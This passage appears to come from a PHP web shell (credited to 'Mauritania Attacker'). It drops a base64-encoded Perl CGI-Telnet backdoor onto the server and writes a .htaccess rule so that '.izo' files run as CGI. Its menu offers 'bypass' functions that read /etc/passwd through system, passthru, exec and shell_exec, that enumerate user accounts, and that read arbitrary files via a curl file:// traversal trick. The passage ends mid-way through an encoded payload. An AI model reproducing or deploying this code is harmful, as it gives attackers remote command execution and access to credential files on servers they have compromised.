HMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=';
  2711.  
  2712. $file = fopen("vw.root" ,"w+");
  2713. $write = fwrite ($file ,base64_decode($cgipl));
  2714. fclose($file);
  2715. chmod("vw.root",0755);
  2716. echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Bypass Perl Security</span><br><br><iframe src=cgipl/vw.root width=75% height=50% frameborder=0></iframe>
  2717.  
  2718. </div>";
  2719. }
  2720. elseif($_GET['do'] == 'com64') {
  2721. echo "<center>";
  2722. echo "<ul>";
  2723. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2724. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2725. echo "<li> <a href='?dir=$dir&do=b'>Bypass Perl Security</a> </li>";
  2726. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Root Access</a> </li>";
  2727. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2728. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2729. echo "</ul>";
  2730. echo "</center>";
  2731. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Base64 Command</span><center><br>';
  2732. echo ' <tr>
  2733. <td width="100%" height="1">';
  2734. if (empty($_POST['fak'])){
  2735. echo '<form method="POST"><input type="text" name="fak" size="70" value="/etc/passwd"> <input type="submit" value="Encode"></form><br>';
  2736. }else{
  2737. $b4se64 =$_POST['fak'];
  2738. $heno =base64_encode($b4se64);
  2739. echo '<p align="center">';
  2740. echo '<textarea method="POST" rows="1" cols="60" wrar="off">';
  2741. print $heno;
  2742. echo '</textarea>';
  2743. }
  2744. echo '<form method="post" /><input type="text" name="coz" size="43" value="L2V0Yy9wYXNzd2Q=" /> <input type="submit" value="Execute" /> <select name=dec><option value=show>Read</option><option value=decode>Command</option></select></form><br>';
  2745. if( !empty($_POST['coz']) )
  2746. if ($dec=='decode'){echo '<form name=form method=POST>';}
  2747. echo "<p align=center><textarea style='width: 543px; height: 420px;' class='area' method='POST' name='codene' cols='70' rows='15' wrar='off' >";
  2748. $ss=$_POST['coz'];
  2749. $file = base64_decode($ss);
  2750. if((curl_exec(curl_init('file:ftp://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../'.$file))) and empty($file))
  2751. if ($_POST['dec']=='decode'){echo base64_encode($_POST['codene']);}
  2752. echo '</textarea></p>';
  2753. echo '</td>
  2754. </tr>';
  2755.  
  2756. }
  2757. elseif($_GET['do'] == 'betc') {
  2758. echo "<center>";
  2759. echo "<ul>";
  2760. echo "<li> <a href='?dir=$dir&do=betc'>Bypass /etc/passwd</a> </li>";
  2761. echo "<li> <a href='?dir=$dir&do=baper'>Bypass Perl Security</a> </li>";
  2762. echo "<li> <a href='?dir=$dir&do=baus'>Bypass User Server</a> </li>";
  2763. echo "<li> <a href='?dir=$dir&do=barut'>Bypass Perl Security</a> </li>";
  2764. echo "<li> <a href='?dir=$dir&do=beesem'>Bypass Safe Mode</a> </li>";
  2765. echo "<li> <a href='?dir=$dir&do=com64'>Base64 Command</a> </li>";
  2766. echo "</ul>";
  2767. echo "</center>";
  2768. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass /etc/passwd Priv8</span><br>Coded By Mauritania Attacker<center><br>';
  2769. echo '<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
  2770.  
  2771.  
  2772. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with System Function
  2773. <form method="post">
  2774. <input type="submit" value="Bypass" name="syst">
  2775. </form>
  2776. </center>
  2777. </p>
  2778.  
  2779. <p><center>Bypass with Passthru Function
  2780. <form method="post">
  2781. <font face="Tahoma" color="#007700" size="2pt">
  2782. <input type="submit" value="Bypass" name="passth">
  2783. </form>
  2784. </center>
  2785. </p>
  2786.  
  2787. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with exec Function
  2788. <form method="post">
  2789. <input type="submit" value="Bypass" name="ex">
  2790. </form>
  2791. </center>
  2792. </p>
  2793.  
  2794. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with shell_exec Function
  2795. <form method="post">
  2796. <input type="submit" value="Bypass" name="shex">
  2797. </form>
  2798. </center>
  2799. </p>
  2800.  
  2801. <p><center><font face="Tahoma" color="#007700" size="2pt">Bypass with posix_getpwuid Function
  2802. <form method="post">
  2803. <input type="submit" value="Bypass" name="mauritania">
  2804. </form>
  2805. </center>
  2806. </p>
  2807.  
  2808. <center>';
  2809.  
  2810.  
  2811. //System Function //
  2812. if($_POST['syst'])
  2813. {
  2814.  
  2815. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2816. echo system("cat /etc/passwd");
  2817. echo"</textarea><br>";
  2818. echo"
  2819. <br>
  2820. <b>
  2821. </b>
  2822. <br>
  2823. ";
  2824. }
  2825. echo '
  2826. </center>
  2827. <center>';
  2828.  
  2829.  
  2830.  
  2831. //Passthru Function //
  2832. if($_POST['passth'])
  2833. {
  2834. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2835. echo passthru("cat /etc/passwd");
  2836. echo"</textarea><br>";
  2837. echo"
  2838. <br>
  2839. <b>
  2840.  
  2841. </b>
  2842. <br>
  2843. ";
  2844.  
  2845. }
  2846.  
  2847.  
  2848. echo '
  2849. </center>
  2850. <center>';
  2851.  
  2852.  
  2853.  
  2854. //exec Function //
  2855. if($_POST['ex'])
  2856. {
  2857. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2858. echo exec("cat /etc/passwd");
  2859. echo"</textarea><br>";
  2860. echo"
  2861. <br>
  2862. <b>
  2863. </b>
  2864. <br>
  2865. ";
  2866. }
  2867.  
  2868.  
  2869. echo '
  2870. </center>
  2871. <center>';
  2872.  
  2873.  
  2874. //exec Function //
  2875. if($_POST['shex'])
  2876. {
  2877. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2878. echo shell_exec("cat /etc/passwd");
  2879. echo"</textarea><br>";
  2880. echo"
  2881. <br>
  2882. <b>
  2883. </b>
  2884. <br>
  2885. ";
  2886. }
  2887. echo '</center>
  2888. <center>';
  2889.  
  2890.  
  2891.  
  2892. //posix_getpwuid Function //
  2893. if($_POST['mauritania'])
  2894. {
  2895. echo"<textarea style='width: 543px; height: 420px;' class='area' cols='65' rows='15'>";
  2896. for($uid=0;$uid<60000;$uid++){
  2897. $ara = posix_getpwuid($uid);
  2898. if (!empty($ara)) {
  2899. while (list ($key, $val) = each($ara)){
  2900. print "$val:";
  2901. }
  2902. print "\n";
  2903. }
  2904. }
  2905. echo"</textarea><br>";
  2906. echo"
  2907. <br>
  2908. <b>
  2909. </b>
  2910. <br>
  2911. ";
  2912. }
  2913. }
  2914. elseif($_GET['do'] == 'cgi') {
  2915. mkdir('cgi4e', 0755);
  2916. chdir('cgi4e');
  2917. $kokdosya = ".htaccess";
  2918. $dosya_adi = "$kokdosya";
  2919. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  2920. $metin = "AddType application/x-httpd-cgi .izo
  2921. AddType application/x-httpd-cgi .izo
  2922.  
  2923. AddHandler cgi-script .izo
  2924. AddHandler cgi-script .izo";
  2925. fwrite ( $dosya , $metin ) ;
  2926. fclose ($dosya);
  2927. $cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gIkJUTSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9